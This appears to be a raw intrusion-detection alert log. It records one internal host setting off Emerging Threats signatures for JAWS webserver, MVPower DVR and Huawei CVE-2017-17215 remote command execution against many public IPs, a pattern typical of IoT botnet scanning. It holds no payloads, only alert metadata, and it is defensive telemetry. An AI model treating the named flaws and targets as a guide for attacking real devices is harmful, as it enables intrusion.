Timestamp:	03/13/24-09:36:56.464989
SID:	2030092
Source Port:	39150
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 184.27.253.172

Timestamp:	03/13/24-09:35:35.940035
SID:	2030092
Source Port:	44662
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 50.2.159.150

Timestamp:	03/13/24-09:35:53.060125
SID:	2025883
Source Port:	50684
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 45.32.242.182

Timestamp:	03/13/24-09:36:51.109520
SID:	2030092
Source Port:	39038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 62.234.239.110

Timestamp:	03/13/24-09:36:07.415525
SID:	2025883
Source Port:	47762
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 194.75.225.189

Timestamp:	03/13/24-09:35:26.114557
SID:	2030092
Source Port:	41544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 20.85.85.62

Timestamp:	03/13/24-09:35:35.707702
SID:	2025883
Source Port:	42166
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.116.252.180

Timestamp:	03/13/24-09:36:41.394142
SID:	2030092
Source Port:	54002
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.59.14.79

Timestamp:	03/13/24-09:36:45.946887
SID:	2025883
Source Port:	58670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.64.51.44

Timestamp:	03/13/24-09:36:42.291485
SID:	2030092
Source Port:	51170
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 119.45.178.155

Timestamp:	03/13/24-09:35:22.930889
SID:	2025883
Source Port:	58264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.196.18.71

Timestamp:	03/13/24-09:36:14.091389
SID:	2025883
Source Port:	59190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 35.241.6.69

Timestamp:	03/13/24-09:36:35.171608
SID:	2025883
Source Port:	54432
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 146.56.253.174

Timestamp:	03/13/24-09:36:41.892389
SID:	2025883
Source Port:	55446
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.197.97.121

Timestamp:	03/13/24-09:36:38.184058
SID:	2025883
Source Port:	53550
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.36.184.249

Timestamp:	03/13/24-09:35:48.896568
SID:	2025883
Source Port:	51968
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 4.157.16.63

Timestamp:	03/13/24-09:36:11.809353
SID:	2025883
Source Port:	52882
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.21.58.203

Timestamp:	03/13/24-09:36:38.177510
SID:	2030092
Source Port:	55624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 119.45.178.155

Timestamp:	03/13/24-09:35:22.930889
SID:	2030092
Source Port:	58264
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 13.211.32.130

Timestamp:	03/13/24-09:35:38.576096
SID:	2025883
Source Port:	49368
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.64.51.44

Timestamp:	03/13/24-09:36:42.291485
SID:	2025883
Source Port:	51170
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 107.190.228.44

Timestamp:	03/13/24-09:35:03.402793
SID:	2030092
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 14.92.225.134

Timestamp:	03/13/24-09:36:51.026696
SID:	2025883
Source Port:	37010
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 37.53.56.73

Timestamp:	03/13/24-09:35:38.175079
SID:	2030092
Source Port:	34812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 212.31.19.143

Timestamp:	03/13/24-09:35:56.238422
SID:	2030092
Source Port:	56530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 35.178.88.90

Timestamp:	03/13/24-09:36:45.747775
SID:	2025883
Source Port:	41518
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 108.167.161.104

Timestamp:	03/13/24-09:36:49.083612
SID:	2030092
Source Port:	60616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.9.249.33

Timestamp:	03/13/24-09:36:45.941195
SID:	2030092
Source Port:	58236
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 116.58.44.58

Timestamp:	03/13/24-09:36:51.042331
SID:	2025883
Source Port:	54658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 107.180.54.249

Timestamp:	03/13/24-09:36:20.884419
SID:	2025883
Source Port:	59716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 13.39.26.165

Timestamp:	03/13/24-09:35:53.313146
SID:	2030092
Source Port:	57906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 45.56.75.180

Timestamp:	03/13/24-09:36:38.136681
SID:	2030092
Source Port:	53270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.0.203.213

Timestamp:	03/13/24-09:35:23.386030
SID:	2030092
Source Port:	57492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 198.199.59.134

Timestamp:	03/13/24-09:35:23.409471
SID:	2025883
Source Port:	43730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 64.227.105.141

Timestamp:	03/13/24-09:36:16.224290
SID:	2030092
Source Port:	60018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 93.119.0.28

Timestamp:	03/13/24-09:36:31.419803
SID:	2025883
Source Port:	38114
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 72.77.85.222

Timestamp:	03/13/24-09:35:49.103671
SID:	2030092
Source Port:	33974
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.140.93.140

Timestamp:	03/13/24-09:36:23.835744
SID:	2025883
Source Port:	34520
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 54.169.195.71

Timestamp:	03/13/24-09:35:53.644018
SID:	2025883
Source Port:	53702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 103.101.153.183

Timestamp:	03/13/24-09:35:20.221016
SID:	2030092
Source Port:	58596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.197.56.2

Timestamp:	03/13/24-09:36:16.499221
SID:	2030092
Source Port:	35224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 176.88.216.242

Timestamp:	03/13/24-09:36:32.247523
SID:	2030092
Source Port:	42892
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 208.87.99.128

Timestamp:	03/13/24-09:35:51.175150
SID:	2030092
Source Port:	58338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.107.22

Timestamp:	03/13/24-09:36:27.829953
SID:	2829579
Source Port:	41472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 65.9.69.92

Timestamp:	03/13/24-09:36:02.736882
SID:	2030092
Source Port:	59220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 143.244.156.8

Timestamp:	03/13/24-09:36:20.881165
SID:	2030092
Source Port:	57348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 118.89.68.235

Timestamp:	03/13/24-09:35:37.994549
SID:	2025883
Source Port:	35074
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.79.35.188

Timestamp:	03/13/24-09:36:38.339928
SID:	2025883
Source Port:	53214
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 92.117.151.104

Timestamp:	03/13/24-09:35:03.425144
SID:	2030092
Source Port:	60192
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 107.180.54.249

Timestamp:	03/13/24-09:36:20.155123
SID:	2030092
Source Port:	59724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 200.88.231.100

Timestamp:	03/13/24-09:35:35.768917
SID:	2030092
Source Port:	56846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 45.129.97.179

Timestamp:	03/13/24-09:36:06.432054
SID:	2030092
Source Port:	57738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 91.232.74.20

Timestamp:	03/13/24-09:35:27.902260
SID:	2025883
Source Port:	60164
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 20.242.39.121

Timestamp:	03/13/24-09:35:26.045958
SID:	2025883
Source Port:	38024
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.93.58.157

Timestamp:	03/13/24-09:36:14.488011
SID:	2030092
Source Port:	46884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 184.31.179.53

Timestamp:	03/13/24-09:36:37.624726
SID:	2030092
Source Port:	60292
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 182.23.79.157

Timestamp:	03/13/24-09:35:03.594209
SID:	2025883
Source Port:	46008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 165.232.167.138

Timestamp:	03/13/24-09:36:54.844549
SID:	2030092
Source Port:	39534
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 20.85.85.62

Timestamp:	03/13/24-09:35:35.707702
SID:	2030092
Source Port:	42166
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.14.31

Timestamp:	03/13/24-09:35:37.670179
SID:	2835222
Source Port:	33452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 89.32.145.164

Timestamp:	03/13/24-09:35:38.279386
SID:	2025883
Source Port:	52778
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 188.94.248.176

Timestamp:	03/13/24-09:35:38.348830
SID:	2025883
Source Port:	56184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 13.52.5.4

Timestamp:	03/13/24-09:36:42.282693
SID:	2030092
Source Port:	54598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 213.136.17.217

Timestamp:	03/13/24-09:36:38.266539
SID:	2030092
Source Port:	47544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.206.48.35

Timestamp:	03/13/24-09:35:04.156303
SID:	2030092
Source Port:	51002
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 54.86.191.6

Timestamp:	03/13/24-09:36:06.238033
SID:	2030092
Source Port:	60220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 14.92.225.134

Timestamp:	03/13/24-09:36:51.026696
SID:	2030092
Source Port:	37010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 216.57.226.26

Timestamp:	03/13/24-09:36:14.010919
SID:	2025883
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 13.52.5.4

Timestamp:	03/13/24-09:36:42.282693
SID:	2025883
Source Port:	54598
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 45.56.75.180

Timestamp:	03/13/24-09:36:38.136681
SID:	2025883
Source Port:	53270
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.24.116

Timestamp:	03/13/24-09:35:24.709827
SID:	2829579
Source Port:	60214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.10.222

Timestamp:	03/13/24-09:35:43.019587
SID:	2829579
Source Port:	40526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.100.183

Timestamp:	03/13/24-09:36:17.845532
SID:	2835222
Source Port:	50276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 130.164.94.211

Timestamp:	03/13/24-09:36:19.929531
SID:	2030092
Source Port:	45460
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.9.249.33

Timestamp:	03/13/24-09:36:45.941195
SID:	2025883
Source Port:	58236
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 116.58.44.58

Timestamp:	03/13/24-09:36:51.042331
SID:	2030092
Source Port:	54658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 82.194.168.210

Timestamp:	03/13/24-09:36:13.430832
SID:	2025883
Source Port:	48152
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 184.27.159.88

Timestamp:	03/13/24-09:36:02.433760
SID:	2030092
Source Port:	60738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 188.217.114.71

Timestamp:	03/13/24-09:36:46.016739
SID:	2030092
Source Port:	39392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 212.16.87.79

Timestamp:	03/13/24-09:35:38.123489
SID:	2025883
Source Port:	60672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 91.246.63.209

Timestamp:	03/13/24-09:35:00.424539
SID:	2030092
Source Port:	45018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 78.186.205.237

Timestamp:	03/13/24-09:35:04.404475
SID:	2025883
Source Port:	45094
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 167.71.224.247

Timestamp:	03/13/24-09:36:06.808683
SID:	2025883
Source Port:	54248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 107.190.228.44

Timestamp:	03/13/24-09:35:03.402793
SID:	2025883
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 138.4.152.6

Timestamp:	03/13/24-09:35:35.786923
SID:	2030092
Source Port:	40130
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 86.106.182.6

Timestamp:	03/13/24-09:36:49.258153
SID:	2025883
Source Port:	51816
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 210.203.11.238

Timestamp:	03/13/24-09:36:03.028460
SID:	2025883
Source Port:	49234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 78.186.205.237

Timestamp:	03/13/24-09:35:04.404475
SID:	2030092
Source Port:	45094
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 107.180.54.249

Timestamp:	03/13/24-09:36:20.884419
SID:	2030092
Source Port:	59716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 116.162.161.24

Timestamp:	03/13/24-09:35:02.865989
SID:	2025883
Source Port:	50854
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 107.180.54.249

Timestamp:	03/13/24-09:36:20.155123
SID:	2025883
Source Port:	59724
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 212.16.87.79

Timestamp:	03/13/24-09:35:38.123489
SID:	2030092
Source Port:	60672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 198.199.59.134

Timestamp:	03/13/24-09:35:23.409471
SID:	2030092
Source Port:	43730
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.42.119.230

Timestamp:	03/13/24-09:35:38.219568
SID:	2030092
Source Port:	33100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 87.236.19.186

Timestamp:	03/13/24-09:36:29.264359
SID:	2025883
Source Port:	44452
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 165.232.167.138

Timestamp:	03/13/24-09:36:54.844549
SID:	2025883
Source Port:	39534
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.229.108.40

Timestamp:	03/13/24-09:35:41.314483
SID:	2025883
Source Port:	56028
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 184.85.70.23

Timestamp:	03/13/24-09:36:45.747708
SID:	2025883
Source Port:	50122
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 13.126.159.214

Timestamp:	03/13/24-09:35:28.367724
SID:	2025883
Source Port:	56584
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 43.255.45.200

Timestamp:	03/13/24-09:36:06.355740
SID:	2030092
Source Port:	49378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 193.49.48.200

Timestamp:	03/13/24-09:35:49.172475
SID:	2030092
Source Port:	51318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 208.87.99.128

Timestamp:	03/13/24-09:35:51.175150
SID:	2025883
Source Port:	58338
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 143.244.156.8

Timestamp:	03/13/24-09:36:20.881165
SID:	2025883
Source Port:	57348
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 54.169.195.71

Timestamp:	03/13/24-09:35:53.644018
SID:	2030092
Source Port:	53702
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 45.129.97.179

Timestamp:	03/13/24-09:36:06.432054
SID:	2025883
Source Port:	57738
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 51.20.1.154

Timestamp:	03/13/24-09:36:55.223714
SID:	2030092
Source Port:	38752
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.197.56.2

Timestamp:	03/13/24-09:36:16.499221
SID:	2025883
Source Port:	35224
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 188.94.248.176

Timestamp:	03/13/24-09:35:38.348830
SID:	2030092
Source Port:	56184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.206.48.35

Timestamp:	03/13/24-09:35:04.156303
SID:	2025883
Source Port:	51002
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.93.58.157

Timestamp:	03/13/24-09:36:14.488011
SID:	2025883
Source Port:	46884
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 140.227.85.230

Timestamp:	03/13/24-09:36:32.297705
SID:	2030092
Source Port:	36478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 179.233.80.189

Timestamp:	03/13/24-09:36:45.822227
SID:	2025883
Source Port:	59450
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 89.32.145.164

Timestamp:	03/13/24-09:35:38.279386
SID:	2030092
Source Port:	52778
Destination Port:	80
